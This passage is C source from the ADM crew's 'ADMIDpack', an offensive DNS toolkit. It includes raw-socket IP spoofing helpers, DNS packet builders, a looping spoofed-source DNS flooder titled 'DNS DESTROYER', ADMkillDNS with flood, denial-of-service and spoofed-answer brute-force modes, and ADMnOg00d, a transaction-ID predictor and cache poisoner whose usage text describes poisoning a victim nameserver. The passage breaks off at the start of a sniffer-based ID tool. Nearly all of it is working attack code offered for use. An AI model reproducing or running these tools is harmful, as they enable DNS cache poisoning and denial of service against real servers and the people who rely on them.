register int nleft = len;
|
||
register u_short *w = addr;
|
||
register int sum = 0;
|
||
u_short answer = 0;
|
||
|
||
/*
|
||
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
|
||
* sequential 16 bit words to it, and at the end, fold back all the
|
||
* carry bits from the top 16 bits into the lower 16 bits.
|
||
*/
|
||
while (nleft > 1) {
|
||
sum += *w++;
|
||
nleft -= 2;
|
||
}
|
||
|
||
/* mop up an odd byte, if necessary */
|
||
if (nleft == 1) {
|
||
*(u_char *)(&answer) = *(u_char *)w ;
|
||
sum += answer;
|
||
}
|
||
|
||
/* add back carry outs from top 16 bits to low 16 bits */
|
||
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
|
||
sum += (sum >> 16); /* add carry */
|
||
answer = ~sum; /* truncate to 16 bits */
|
||
return(answer);
|
||
|
||
}
|
||
|
||
|
||
|
||
int udp_send(s,saddr,daddr,sport,dport,datagram,datasize)
|
||
|
||
int s;
|
||
unsigned long saddr;
|
||
unsigned long daddr;
|
||
unsigned short sport;
|
||
unsigned short dport;
|
||
char * datagram;
|
||
unsigned datasize;
|
||
{
|
||
|
||
struct sockaddr_in sin;
|
||
struct iphdr *ip;
|
||
struct udphdr *udp;
|
||
unsigned char *data;
|
||
unsigned char packet[4024];
|
||
int x;
|
||
|
||
ip = (struct iphdr *)packet;
|
||
udp = (struct udphdr *)(packet+IPHDRSIZE);
|
||
data = (unsigned char *)(packet+IPHDRSIZE+UDPHDRSIZE);
|
||
|
||
memset(packet,0,sizeof(packet));
|
||
|
||
udp->source = htons(sport);
|
||
udp->dest = htons(dport);
|
||
udp->len = htons(UDPHDRSIZE+datasize);
|
||
udp->check = 0;
|
||
|
||
memcpy(data,datagram,datasize);
|
||
|
||
memset(packet,0,IPHDRSIZE);
|
||
|
||
ip->saddr.s_addr = saddr;
|
||
ip->daddr.s_addr = daddr;
|
||
ip->version = 4;
|
||
ip->ihl = 5;
|
||
ip->ttl = 245;
|
||
ip->id = random()%5985;
|
||
ip->protocol = IPPROTO_UDP;
|
||
ip->tot_len = htons(IPHDRSIZE + UDPHDRSIZE + datasize);
|
||
ip->check = 0;
|
||
ip->check = in_cksum((char *)packet,IPHDRSIZE);
|
||
|
||
|
||
|
||
sin.sin_family=AF_INET;
|
||
sin.sin_addr.s_addr=daddr;
|
||
sin.sin_port=udp->dest;
|
||
|
||
x=sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0,
|
||
(struct sockaddr*)&sin, sizeof(struct sockaddr));
|
||
|
||
|
||
return(x);
|
||
}
|
||
|
||
|
||
|
||
/*****************************************************************************/
|
||
/* RECV PAKET */
|
||
/* get_pkt(socket, *buffer , size of the buffer); */
|
||
/*****************************************************************************/
|
||
|
||
int get_pkt(s,data,size)
|
||
int s;
|
||
unsigned char *data;
|
||
int size;
|
||
{
|
||
struct sockaddr_in sin;
|
||
int len,resu;
|
||
len= sizeof(sin);
|
||
resu=recvfrom(s,data,size,0,(struct sockaddr *)&sin,&len);
|
||
return resu;
|
||
}
|
||
<-->
|
||
<++> ADMIDpack/ADMDNS2.c
|
||
/*************************************************/
|
||
/* DNS include for play with DNS packet (c) ADM */
|
||
/*************************************************/
|
||
|
||
#define ERROR -1
|
||
#define DNSHDRSIZE 12
|
||
#define TYPE_A 1
|
||
#define TYPE_PTR 12
|
||
|
||
|
||
int myrand()
|
||
{
|
||
int j;
|
||
j=1+(int) (150.0*rand()/(RAND_MAX+1.0));
|
||
return(j);
|
||
}
|
||
|
||
|
||
unsigned long host2ip(char *serv)
|
||
|
||
{
|
||
struct sockaddr_in sinn;
|
||
struct hostent *hent;
|
||
|
||
hent=gethostbyname(serv);
|
||
if(hent == NULL) return 0;
|
||
bzero((char *)&sinn, sizeof(sinn));
|
||
bcopy(hent->h_addr, (char *)&sinn.sin_addr, hent->h_length);
|
||
return sinn.sin_addr.s_addr;
|
||
}
|
||
|
||
|
||
|
||
void nameformat(char *name,char *QS)
|
||
{
|
||
/* CRAP & LAme COde :) */
|
||
char lol[3000];
|
||
char tmp[2550];
|
||
char tmp2[2550];
|
||
int i,a=0;
|
||
bzero(lol,sizeof(lol));
|
||
bzero(tmp,sizeof(tmp));
|
||
bzero(tmp2,sizeof(tmp2));
|
||
|
||
|
||
|
||
for(i=0;i<strlen(name);i++)
|
||
{
|
||
if( *(name+i) == '.' ){
|
||
sprintf(tmp2,"%c%s",a,tmp);
|
||
strcat(lol,tmp2);
|
||
bzero(tmp,sizeof(tmp));
|
||
bzero(tmp2,sizeof(tmp2));
|
||
a=0;
|
||
}
|
||
else tmp[a++] = *(name+i);
|
||
}
|
||
|
||
sprintf(tmp2,"%c%s",a,tmp);
|
||
strcat(lol,tmp2);
|
||
strcpy(QS,lol);
|
||
}
|
||
|
||
|
||
|
||
void nameformatIP(char *ip, char *resu)
|
||
{
|
||
char *arpa = "in-addr.arpa";
|
||
char bla[255];
|
||
char arf[255];
|
||
char haha[255];
|
||
char c;
|
||
char *A[4];
|
||
int i,a=3,k=0;
|
||
|
||
bzero(bla,sizeof(bla));
|
||
bzero(arf,sizeof(arf));
|
||
bzero(haha,sizeof(haha));
|
||
|
||
for(i=0;i<4;i++){
|
||
A[i] =(char *)malloc(4);
|
||
bzero(A[i],4);
|
||
}
|
||
|
||
bzero(bla,sizeof(bla));
|
||
bzero(arf,sizeof(arf));
|
||
|
||
for(i=0;i<strlen(ip);i++)
|
||
{
|
||
c = ip[i];
|
||
if( c == '.'){
|
||
strcat(A[a],arf);
|
||
a--;
|
||
k=0;
|
||
bzero(arf,sizeof(arf));
|
||
}
|
||
else arf[k++] = c;
|
||
}
|
||
|
||
strcat(A[a],arf);
|
||
|
||
for(i=0;i<4;i++){
|
||
strcat(bla,A[i]);
|
||
strcat(bla,".");
|
||
}
|
||
|
||
|
||
strcat(bla,arpa);
|
||
nameformat(bla,haha);
|
||
strcpy(resu,haha);
|
||
}
|
||
|
||
|
||
|
||
int makepaketQS(char *data,char *name,int type)
|
||
{
|
||
|
||
if(type == TYPE_A ){
|
||
nameformat(name,data);
|
||
*( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_A);
|
||
}
|
||
|
||
if(type == TYPE_PTR){
|
||
nameformatIP(name,data);
|
||
*( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_PTR);
|
||
}
|
||
|
||
*( (u_short *) (data+strlen(data)+3) ) = htons(1);
|
||
return(strlen(data)+5);
|
||
|
||
}
|
||
|
||
|
||
int makepaketAW(char *data,char *name, char *ip,int type)
|
||
{
|
||
int i;
|
||
char tmp[2550];
|
||
bzero(tmp,sizeof(tmp));
|
||
|
||
if( type == TYPE_A ){
|
||
nameformat(name,data);
|
||
*( (u_short *) (data+strlen(data)+1) ) = htons(1);
|
||
*( (u_short *) (data+strlen(data)+3) ) = htons(1);
|
||
i=strlen(data)+5;
|
||
strcpy(data+i,data);
|
||
i=i+strlen(data)+1;
|
||
*((u_short *) (data+i)) = htons(TYPE_A);
|
||
*((u_short *) (data+i+2)) = htons(1);
|
||
*((u_long *) (data+i+4)) = 9999999;
|
||
*((u_short *) (data+i+8)) = htons(4);
|
||
*((u_long *) (data+i+10)) = host2ip(ip);
|
||
return(i+14);
|
||
}
|
||
|
||
if( type == TYPE_PTR ){
|
||
nameformat(name,tmp);
|
||
nameformatIP(ip,data);
|
||
*( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_PTR);
|
||
*( (u_short *) (data+strlen(data)+3) ) = htons(1);
|
||
i=strlen(data)+5;
|
||
strcpy((data+i),data);
|
||
i=(i+strlen(data)+1);
|
||
*((u_short *) (data+i)) = htons(TYPE_PTR);
|
||
*((u_short *) (data+i+2)) = htons(1);
|
||
*((u_long *) (data+i+4)) = 9999999;
|
||
*((u_short *) (data+i+8)) = htons(strlen(tmp)+1);
|
||
strcpy((data+i+10),tmp);
|
||
return(i+10+strlen(tmp)+1);
|
||
}
|
||
}
|
||
|
||
void sendquestion(u_long s_ip, u_long d_ip,char *name,int type)
|
||
{
|
||
struct dnshdr *dns;
|
||
char buff[1024];
|
||
char *data;
|
||
int i;
|
||
int on=1;
|
||
int sraw;
|
||
|
||
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
|
||
perror("socket");
|
||
exit(ERROR);
|
||
}
|
||
|
||
if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR)if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
|
||
perror("setsockopt");
|
||
exit(ERROR);
|
||
}
|
||
|
||
dns = (struct dnshdr *) buff;
|
||
data = (char *)(buff+DNSHDRSIZE);
|
||
|
||
bzero(buff,sizeof(buff));
|
||
|
||
dns->id = 6000+myrand();
|
||
dns->qr = 0;
|
||
dns->rd = 1;
|
||
dns->aa = 0;
|
||
dns->que_num = htons(1);
|
||
dns->rep_num = htons(0);
|
||
i=makepaketQS(data,name,type);
|
||
udp_send(sraw,s_ip,d_ip,1200+myrand,53,buff,DNSHDRSIZE+i);
|
||
close(sraw);
|
||
}
|
||
|
||
void sendawnser(u_long s_ip, u_long d_ip, char *name,char *spoofip,int ID,int type)
|
||
{
|
||
struct dnshdr *dns;
|
||
char buff[1024];
|
||
char *data;
|
||
int i;
|
||
int on=1;
|
||
int sraw;
|
||
|
||
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
|
||
perror("socket");
|
||
exit(ERROR);
|
||
}
|
||
|
||
if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR)if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
|
||
perror("setsockopt");
|
||
exit(ERROR);
|
||
}
|
||
|
||
dns = (struct dnshdr *) buff;
|
||
data = (char *)(buff+DNSHDRSIZE);
|
||
|
||
bzero(buff,sizeof(buff));
|
||
|
||
dns->id = htons(ID);
|
||
dns->qr = 1;
|
||
dns->rd = 1;
|
||
dns->aa = 1;
|
||
dns->que_num = htons(1);
|
||
dns->rep_num = htons(1);
|
||
i=makepaketAW(data,name,spoofip,type);
|
||
printf(" I apres Makepaket == %i \n",i);
|
||
udp_send(sraw,s_ip,d_ip,53,53,buff,DNSHDRSIZE+i);
|
||
close(sraw);
|
||
}
|
||
|
||
|
||
void dnsspoof(char *dnstrust,char *victim,char *spoofname,char *spoofip,int ID,int type)
|
||
{
|
||
struct dnshdr *dns;
|
||
char buff[1024];
|
||
char *data;
|
||
u_long fakeip;
|
||
u_long trustip;
|
||
u_long victimip;
|
||
int loop,rere;
|
||
|
||
dns = (struct dnshdr *)buff;
|
||
data = (char *)(buff+DNSHDRSIZE);
|
||
|
||
|
||
|
||
trustip = host2ip(dnstrust);
|
||
victimip = host2ip(victim);
|
||
fakeip = host2ip("12.1.1.0");
|
||
|
||
/* send question ... */
|
||
if( type == TYPE_PTR)
|
||
for(loop=0;loop<4;loop++)sendquestion(fakeip,victimip,spoofip,type);
|
||
|
||
if( type == TYPE_A)
|
||
for(loop=0;loop<4;loop++)
|
||
sendquestion(fakeip,victimip,spoofname,type);
|
||
|
||
|
||
/* now its time to awnser Quickly !!! */
|
||
for(rere = 0; rere < 2;rere++){
|
||
for(loop=0;loop < 80;loop++){
|
||
printf("trustip %s,vitcimip %s,spoofna %s,spoofip %s,ID %i,type %i\n",
|
||
dnstrust,victim,spoofname,spoofip,ID+loop,type);
|
||
sendawnser(trustip,victimip,spoofname,spoofip,ID+loop,type);
|
||
}
|
||
}
|
||
|
||
|
||
}
|
||
<-->
|
||
<++> ADMIDpack/ADMdnsfuckr.c
|
||
/* ADM DNS DESTROYER */
|
||
|
||
|
||
#define DNSHDRSIZE 12
|
||
#define VERSION "0.2 pub"
|
||
#define ERROR -1
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include "ADM-spoof.c"
|
||
#include "dns.h"
|
||
#include "ADMDNS2.c"
|
||
|
||
|
||
void main(int argc, char **argv)
|
||
{
|
||
struct dnshdr *dns;
|
||
char *data;
|
||
char buffer2[4000];
|
||
unsigned char namez[255];
|
||
unsigned long s_ip;
|
||
unsigned long d_ip;
|
||
int sraw,on=1;
|
||
|
||
|
||
if(argc <2){printf(" usage : %s <host> \n",argv[0]); exit(0);}
|
||
|
||
dns = (struct dnshdr *)buffer2;
|
||
data = (char *)(buffer2+12);
|
||
bzero(buffer2,sizeof(buffer2));
|
||
|
||
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
|
||
perror("socket");
|
||
exit(ERROR);
|
||
}
|
||
|
||
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
|
||
perror("setsockopt");
|
||
exit(ERROR);
|
||
}
|
||
|
||
printf("ADMdnsFuker %s DNS DESTROYER made by the ADM crew\n",VERSION);
|
||
printf("(c) ADM,Heike vouais tous se ki est as moi est a elle aussi ...\n");
|
||
sleep(1);
|
||
|
||
s_ip=host2ip("100.1.2.3");
|
||
d_ip=host2ip(argv[1]);
|
||
|
||
|
||
|
||
dns->id = 123;
|
||
dns->rd = 1;
|
||
dns->que_num = htons(1);
|
||
|
||
while(1){
|
||
|
||
sprintf(namez,"\3%d\3%d\3%d\3%d\07in-addr\04arpa",myrand(),myrand(),myrand(),myrand());
|
||
printf("%s\n",namez);
|
||
strcpy(data,namez);
|
||
*( (u_short *) (data+strlen(namez)+1) ) = ntohs(12);
|
||
*( (u_short *) (data+strlen(namez)+3) ) = ntohs(1);
|
||
udp_send(sraw,s_ip,d_ip,2600+myrand(),53,buffer2,14+strlen(namez)+5);
|
||
s_ip=ntohl(s_ip);
|
||
s_ip++;
|
||
s_ip=htonl(s_ip);
|
||
|
||
}
|
||
|
||
}
|
||
<-->
|
||
<++> ADMIDpack/ADMkillDNS.c
|
||
|
||
#include "ADM-spoof.c"
|
||
#include "dns.h"
|
||
#include "ADMDNS2.c"
|
||
|
||
#define ERROR -1
|
||
#define VERSION "0.3 pub"
|
||
#define ID_START 1
|
||
#define ID_STOP 65535
|
||
#define PORT_START 53
|
||
#define PORT_STOP 54
|
||
|
||
void main(int argc, char **argv)
|
||
{
|
||
|
||
struct dnshdr *dns;
|
||
char *data;
|
||
char buffer2[4000];
|
||
unsigned char namez[255];
|
||
unsigned long s_ip,s_ip2;
|
||
unsigned long d_ip,d_ip2;
|
||
int sraw, i, on=1, x, loop, idstart, idstop, portstart, portstop;
|
||
|
||
|
||
if(argc <5){
|
||
system("/usr/bin/clear");
|
||
printf(" usage : %s <ip src> <ip dst> <name> <ip>\n\t[A,B,N] [ID_START] [ID_STOP] [PORT START] [PORT STOP] \n",argv[0]);
|
||
printf(" ip src: ip source of the dns anwser\n");
|
||
printf(" ip dst: ip of the dns victim\n");
|
||
printf(" name : spoof name ex: www.dede.com\n");
|
||
printf(" ip : the ip associate with the name\n");
|
||
printf(" options \n");
|
||
printf(" [A,B,N] \n");
|
||
printf(" A: flood the DNS victim with multiple query\n");
|
||
printf(" B: DOS attack for destroy the DNS \n");
|
||
printf(" N: None attack \n\n");
|
||
printf(" [ID_START] \n");
|
||
printf(" ID_START: id start :> \n\n");
|
||
printf(" [ID_STOP] n");
|
||
printf(" ID_STOP : id stop :> \n\n");
|
||
printf(" PORT START,PORT STOP: send the spoof to the portstart at portstop\n\n");
|
||
printf("\033[01mADMkillDNS %s (c) ADM\033[0m , Heike \n",VERSION);
|
||
exit(ERROR);
|
||
}
|
||
|
||
dns = (struct dnshdr *)buffer2;
|
||
data = (char *)(buffer2+DNSHDRSIZE);
|
||
bzero(buffer2,sizeof(buffer2));
|
||
|
||
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
|
||
perror("socket");
|
||
exit(ERROR);
|
||
}
|
||
|
||
|
||
if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
|
||
perror("setsockopt");
|
||
exit(ERROR);
|
||
}
|
||
|
||
printf("ADMkillDNS %s",VERSION);
|
||
printf("\nouais ben mwa je dedie ca a ma Heike");
|
||
printf("\nREADY FOR ACTION!\n");
|
||
|
||
s_ip2=s_ip=host2ip(argv[1]);
|
||
d_ip2=d_ip=host2ip(argv[2]);
|
||
|
||
|
||
|
||
if(argc>5)if(*argv[5]=='A')
|
||
{
|
||
for(loop=0;loop<10;loop++){
|
||
dns->id = 6000+loop;
|
||
dns->qr = 0;
|
||
dns->rd = 1;
|
||
dns->aa = 0;
|
||
dns->que_num = htons(1);
|
||
dns->rep_num = htons(0);
|
||
i=makepaketQS(data,argv[3],TYPE_A);
|
||
udp_send(sraw,s_ip,d_ip,1200+loop,53,buffer2,DNSHDRSIZE+i);
|
||
s_ip=ntohl(s_ip);
|
||
s_ip++;
|
||
s_ip=htonl(s_ip);
|
||
|
||
}
|
||
} /* end of DNS flood query */
|
||
|
||
/* ici on trouve la routine contre un DOS */
|
||
|
||
if(argc>5)if(*argv[5]=='B')
|
||
{
|
||
s_ip=host2ip("100.1.2.3");
|
||
dns->id = 123;
|
||
dns->rd = 1;
|
||
dns->que_num = htons(1);
|
||
|
||
printf("plz enter the number of packet u wanna send\n");
|
||
scanf("%i",&i);
|
||
for(x=0;x<i;x++){
|
||
|
||
sprintf(namez,"\3%d\3%d\3%d\3%d\07in-addr\04arpa",myrand(),myrand(),myrand(),myrand());
|
||
strcpy(data,namez);
|
||
*( (u_short *) (data+strlen(namez)+1) ) = ntohs(12);
|
||
*( (u_short *) (data+strlen(namez)+3) ) = ntohs(1);
|
||
udp_send(sraw,s_ip,d_ip,2600+myrand(),53,buffer2,14+strlen(namez)+5);
|
||
s_ip=ntohl(s_ip);
|
||
s_ip++;
|
||
s_ip=htonl(s_ip);
|
||
printf("send packet num %i:%i\n",x,i);
|
||
}
|
||
} /* end of DNS DOS */
|
||
|
||
|
||
if(argc > 6 )idstart = atoi(argv[6]);
|
||
else
|
||
idstart = ID_START;
|
||
if(argc > 7 )idstop = atoi(argv[7]);
|
||
else
|
||
idstop = ID_STOP;
|
||
|
||
if(argc > 8 ){
|
||
portstart = atoi(argv[8]);
|
||
portstop = atoi(argv[9]);
|
||
}
|
||
|
||
else {
|
||
portstart = PORT_START;
|
||
portstop = PORT_STOP;
|
||
}
|
||
|
||
|
||
bzero(buffer2,sizeof(buffer2));
|
||
bzero(namez,sizeof(namez));
|
||
i=0;
|
||
x=0;
|
||
s_ip=s_ip2;
|
||
d_ip=d_ip2;
|
||
|
||
|
||
|
||
for(;idstart<idstop;idstart++){
|
||
dns->id = htons(idstart);
|
||
dns->qr = 1;
|
||
dns->rd = 1;
|
||
dns->aa = 1;
|
||
dns->que_num = htons(1);
|
||
dns->rep_num = htons(1);
|
||
printf("send awnser with id %i to port %i at port %i\n",idstart,portstart,portstop);
|
||
i=makepaketAW(data,argv[3],argv[4],TYPE_A);
|
||
for(;x < portstop; x++)
|
||
udp_send(sraw,s_ip,d_ip,53,x,buffer2,DNSHDRSIZE+i);
|
||
x = portstart;
|
||
}
|
||
|
||
printf(" terminated..\n");
|
||
}
|
||
<-->
|
||
<++> ADMIDpack/ADMnOg00d.c
|
||
/***************************/
|
||
/* ADMnog00d (c) ADM */
|
||
/***************************/
|
||
/* ADM DNS ID PREDICTOR */
|
||
/***************************/
|
||
|
||
#include <fcntl.h>
|
||
#include <unistd.h>
|
||
#include "dns.h"
|
||
#include "ADM-spoof.c"
|
||
#include "ADMDNS2.c"
|
||
|
||
|
||
#define VERSION "0.7 pub"
|
||
#define SPOOFIP "4.4.4.4"
|
||
#define ERROR -1
|
||
#define LEN sizeof(struct sockaddr)
|
||
#define UNDASPOOF "111.111.111.111"
|
||
#define TIMEOUT 300
|
||
#define DNSHDRSIZE 12
|
||
|
||
void usage()
|
||
{
|
||
|
||
printf(" ADMnoG00D <your ip> <dns trust> <domaine trust> <ip victim> <TYPE> <spoof name> <spoof ip> <ns.trust.for.the.spoof> [ID] \n");
|
||
printf("\n ex: ADMnoG00d ppp.evil.com ns1.victim.com provnet.fr ns.victim.com 1 mouhhahahaha.hol.fr 31.3.3.7 ns.isdnet.net [ID] \n");
|
||
printf(" well... we going to poison ns.victime.com for they resolv mouhhahaha.hol.fr in 31.3.3.7\n");
|
||
printf(" we use provnet.fr and ns1.provnet for find ID of ns.victim.com\n");
|
||
printf(" we use ns.isdnet.net for spoof because they have auth on *.hol.fr\n");
|
||
printf(" for more information..\n");
|
||
printf(" check ftp.janova.org/pub/ADM/ \n");
|
||
printf(" mail ADM@janova.org \n");
|
||
printf(" ask Heike from me...:) \n");
|
||
exit(-1);
|
||
}
|
||
|
||
void senddnspkt(s,d_ip,wwwname,ip,dns)
|
||
int s;
|
||
u_long d_ip;
|
||
char *wwwname;
|
||
char *ip;
|
||
struct dnshdr *dns;
|
||
{
|
||
struct sockaddr_in sin;
|
||
int i;
|
||
char buffer[1024];
|
||
char *data = (char *)(buffer+DNSHDRSIZE);
|
||
bzero(buffer,sizeof(buffer));
|
||
memcpy(buffer,dns,DNSHDRSIZE);
|
||
|
||
if(dns->qr == 0)
|
||
{
|
||
i=makepaketQS(data,wwwname,TYPE_A);
|
||
sin.sin_family = AF_INET;
|
||
sin.sin_port = htons(53);
|
||
sin.sin_addr.s_addr = d_ip;
|
||
sendto(s,buffer,DNSHDRSIZE+i,0,(struct sockaddr *)&sin,LEN);
|
||
}
|
||
|
||
else
|
||
{
|
||
i=makepaketAW(data,wwwname,ip,TYPE_A);
|
||
sin.sin_family = AF_INET;
|
||
sin.sin_port = htons(53);
|
||
sin.sin_addr.s_addr = d_ip;
|
||
sendto(s,buffer,DNSHDRSIZE+i,0,(struct sockaddr *)&sin,LEN);
|
||
}
|
||
}
|
||
|
||
|
||
|
||
|
||
void dns_qs_no_rd(s,d_ip,wwwname,ID)
|
||
int s;
|
||
u_long d_ip;
|
||
char *wwwname;
|
||
int ID;
|
||
{
|
||
struct dnshdr *dns;
|
||
char *data;
|
||
char buffer[1024];
|
||
int i;
|
||
|
||
dns = (struct dnshdr *)buffer;
|
||
data = (char *)(buffer+DNSHDRSIZE);
|
||
bzero(buffer,sizeof(buffer));
|
||
|
||
dns->id = htons(ID);
|
||
dns->qr = 0;
|
||
dns->rd = 0; /* dont want the recusion !! */
|
||
dns->aa = 0;
|
||
dns->que_num = htons(1);
|
||
dns->rep_num = htons(0);
|
||
i=makepaketQS(data,wwwname,TYPE_A);
|
||
senddnspkt(s,d_ip,wwwname,NULL,dns);
|
||
}
|
||
|
||
|
||
|
||
|
||
void main(int argc, char **argv)
|
||
{
|
||
struct sockaddr_in sin_rcp;
|
||
struct dnshdr *dns, *dns_recv;
|
||
char *data, *data2;
|
||
char buffer2[4000];
|
||
char buffer[4000];
|
||
char spoofname[255];
|
||
char spoofip[255];
|
||
char dnstrust[255];
|
||
char bla[255];
|
||
char *alacon;
|
||
unsigned char fakename[255];
|
||
unsigned char namez[255];
|
||
unsigned long s_ip, s_ip2;
|
||
unsigned long d_ip, d_ip2, trust;
|
||
unsigned int DA_ID = 65535, loop = 65535;
|
||
int sraw, s_r, i, on=1, x, ID,timez;
|
||
int len = sizeof(struct sockaddr);
|
||
|
||
dns_recv = (struct dnshdr *)(buffer);
|
||
data2 = (char *)(buffer+DNSHDRSIZE);
|
||
dns = (struct dnshdr *)buffer2;
|
||
data = (char *)(buffer2+DNSHDRSIZE);
|
||
|
||
bzero(buffer2,sizeof(buffer2));
|
||
srand(time(NULL));
|
||
|
||
|
||
if( (s_r=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) == ERROR ){
|
||
perror("socket");
|
||
exit(ERROR);
|
||
}
|
||
|
||
|
||
if( (fcntl(s_r,F_SETFL,O_NONBLOCK)) == ERROR ){
|
||
perror("fcntl");
|
||
exit(ERROR);
|
||
}
|
||
|
||
|
||
if ((sraw = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR ){
|
||
perror("socket");
|
||
exit(ERROR);
|
||
}
|
||
|
||
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == ERROR)){
|
||
perror("setsockopt");
|
||
exit(ERROR);
|
||
}
|
||
|
||
if(argc < 2) usage();
|
||
|
||
|
||
if(argc > 9 )DA_ID = loop = atoi(argv[9]);
|
||
|
||
if(argc > 6)strcpy(spoofname,argv[6]);
|
||
else{
|
||
printf("enter the name you wanna spoof:");
|
||
scanf("%s",spoofname);
|
||
}
|
||
|
||
if(argc > 7)strcpy(bla,argv[7]);
|
||
else{
|
||
printf("enter the ip's of the spoof name:");
|
||
scanf("%s",bla);
|
||
}
|
||
|
||
alacon =(char *)inet_ntoa(host2ip(bla));
|
||
strcpy(spoofip,alacon);
|
||
|
||
|
||
|
||
if( argc > 8 ) strcpy(bla,argv[8]);
|
||
else{
|
||
printf("enter the DNS trust of the victim:");
|
||
scanf("%s",bla);
|
||
}
|
||
|
||
alacon =(char *)inet_ntoa(host2ip(bla));
|
||
strcpy(dnstrust,alacon);
|
||
|
||
|
||
|
||
printf("ADMnoG00d %s\n",VERSION);
|
||
printf("\033[1mHeike\033[0m ownz Me So g\033[5m\033[36m0\033[0m\033[1m0\033[0md\n");
|
||
sleep(1);
|
||
printf("\nLets Play =)!!\n");
|
||
|
||
/* save some param */
|
||
s_ip2 = host2ip(argv[1]);
|
||
d_ip2 = d_ip = host2ip(argv[4]);
|
||
trust = host2ip(argv[2]);
|
||
s_ip = host2ip(UNDASPOOF);
|
||
|
||
|
||
while(1){
|
||
|
||
|
||
sprintf(fakename,"%i%i%i%i%i%i.%s",
|
||
myrand(),
|
||
myrand(),
|
||
myrand(),
|
||
myrand(),
|
||
myrand(),
|
||
myrand(),
|
||
argv[3]);
|
||
|
||
sendquestion(s_ip,d_ip,fakename,TYPE_A);
|
||
|
||
|
||
/* end of question packet */
|
||
|
||
|
||
bzero(buffer2,sizeof(buffer2)); /* RE init some variable */
|
||
bzero(namez,sizeof(namez));
|
||
i=0;
|
||
x=0;
|
||
|
||
|
||
/* here start the spoof anwser */
|
||
|
||
ID = loop;
|
||
|
||
for(;loop >= ID-10 ;loop--){
|
||
dns->id = htons(loop);
|
||
dns->qr = 1;
|
||
dns->rd = 1;
|
||
dns->aa = 1;
|
||
dns->que_num = htons(1);
|
||
dns->rep_num = htons(1);
|
||
|
||
i=makepaketAW(data,fakename,SPOOFIP,TYPE_A);
|
||
udp_send(sraw,trust,d_ip2,53,53,buffer2,DNSHDRSIZE+i);
|
||
}
|
||
|
||
bzero(buffer2,sizeof(buffer2)); /* RE init some variable */
|
||
bzero(namez,sizeof(namez));
|
||
i=0;
|
||
x=0;
|
||
|
||
/* time for test spoof */
|
||
|
||
dns_qs_no_rd(s_r,d_ip2,fakename,myrand()); /* here we sending question */
|
||
/* non recursive ! */
|
||
|
||
/* we waiting for awnser ... */
|
||
|
||
while(1){
|
||
for(timez=0;timez < TIMEOUT; timez++){
|
||
if( recvfrom(s_r,buffer,sizeof(buffer),0,(struct sockaddr *)&sin_rcp,&len) != -1 )
|
||
{
|
||
printf("ok whe have the reponse ;)\n");
|
||
timez = 0;
|
||
break;
|
||
}
|
||
usleep(10);
|
||
timez++;
|
||
}
|
||
if(timez != 0){
|
||
printf("hum no reponse from the NS ressend question..\n");
|
||
dns_qs_no_rd(s_r,d_ip2,fakename,myrand());
|
||
}
|
||
else break;
|
||
}
|
||
/* ok we have a awnser */
|
||
printf("fakename = %s\n",fakename);
|
||
if(sin_rcp.sin_addr.s_addr == d_ip2 )
|
||
if(sin_rcp.sin_port == htons(53) )
|
||
{
|
||
if( dns_recv->qr == 1 )
|
||
if( dns_recv->rep_num == 0 ) /* hum we dont have found the right ID */
|
||
printf("try %i < ID < %i \n",ID-10,ID);
|
||
|
||
else{
|
||
/* Hoho we have the spoof has worked we have found the right ID ! */
|
||
printf("the DNS ID of %s iz %i< ID <%i !!\n",argv[4],loop-10,loop);
|
||
printf("let's send the spoof...\n");
|
||
dnsspoof(dnstrust,argv[4],spoofname,spoofip,loop,atoi(argv[5]));
|
||
printf("spoof sended ...\n");
|
||
exit(0);
|
||
}
|
||
} /* end of if (sin_rcp.sin_port == htons(53) ) */
|
||
bzero(buffer,sizeof(buffer));
|
||
|
||
} /* end of while loop */
|
||
|
||
}/* end of proggies */
|
||
<-->
|
||
<++> ADMIDpack/ADMsnOOfID.c
|
||
#include "ADM-spoof.c"
|
||
#include "dns.h"
|
||
#include "ADMDNS2.c"
|
||
#include <pcap.h>
|
||
#include <net/if.h>
|
||
|
||
#define DNSHDRSIZE 12
|
||
#define SPOOF "127.0.0.1"
|
||
#define VERSION "ver 0.6 pub"
|
||
#define ERROR -1
|
||
|
||
int ETHHDRSIZE;
|
||
|
||
void main(argc, argv)
|
||
int argc;
|
||
char *argv[];
|
||
{
|
||
struct pcap_pkthdr h;
|
||
struct pcap *pcap_d;
|
||
struct iphdr *ip;
|
||
struct udphdr *udp;
|
||
struct dnshdr *dnsrecv,*dnssend;
|
||
char *data;
|
||
char *data2;
|
||
char *buffer;
|
||
char namefake[255];
|
||
char buffer2[1024];
|
||
char ebuf[255];
|
||
char spoofname[255];
|
||
char spoofip[255];
|
||
char bla[255];
|
||
char dnstrust[255];
|
||
char *alacon;
|
||
unsigned long s_ipns;
|
||
unsigned long d_ip;
|
||
|
||
int sraw, i, on=1, con, ID,DA_ID,type;
|
||
|
||
srand( (time(NULL) % random() * random()) );
|
||
|
||
|
||
if(argc <2){
|
||
printf("usage : %s <device> <ns.victim.com> <your domain> <IP of ur NS> <type 1,12> <spoofname> <spoof ip> <ns trust> \n",argv[0]);
|
||
